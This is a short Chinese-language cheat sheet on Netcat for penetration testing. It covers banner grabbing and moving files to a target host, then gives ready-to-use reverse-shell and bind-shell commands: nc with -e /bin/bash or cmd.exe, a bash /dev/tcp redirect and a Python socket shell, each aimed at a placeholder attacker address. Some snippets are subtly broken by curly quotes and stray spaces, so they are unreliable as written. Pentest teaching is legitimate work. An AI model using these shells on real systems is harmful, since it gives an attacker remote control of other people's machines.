Netcat 工具使用

Netcat的工具使用总结:

一,Netcat Banner获取

1
nc [ip-address] [port]

二,文件传输

例如我们想在目标主机上执行远程命令,所以需要将文件从攻击主机传输到目标主机。首先,设置一个侦听器,并从攻击主机连接到它。使用端口8888用于此目的,将该文件安全保存到桌面

1
nc -lvp 8888 > 文件路径

在攻击机上,我们连接到该8888端口并发送文件

1
nc [ip-address] [port] < 文件路径

三,Bind Shells &Reverse Shells

在渗透测试中,最常见,或者最受欢迎的用法是反向 reverse shell和正向bind shell。反向shell是从目标主机发起到处于监听状态的攻击机器的shell连接方式,又叫被动连接,而正向bind shell是攻击主机通过特定的端口进行侦听目标主机即将到来的连接。在恶意软件中,bind shell又通常被称为后门。

Reverse Shell:

1.设置一个Netcat侦听器,(我们侦听端口8888)

1
nc -lvp 8888

2.接下来我们在目标主机上执行下面的命令来连接我们的攻击主机(记住我们在这个攻击主机上执行了远程代码):

1
2
nc [ip-address] [port] -e /bin/bash    <for linux>
nc.exe [ip-address] [port] -e cmd.exe <for windows>

若目标主机没有Netcat,我们使用其他方法来代替

Bash反向shell,使用Bash通过使用以下命令从目标主机启动反向shell连接攻击主机:

1
bash -i > &/dev/tcp/[ip-address]/[port] 0>&1

python反向shell

1
python -c’import socket,subprocess,os; s = socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect((“[ip-address]”,[port])); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); P = subprocess.call([“/ bin / sh”,” - i”]);”

Bind Shell:

1
2
Attacker:nc [ip-address] [port]
Target: nc -lvp [port] -e /bin/sh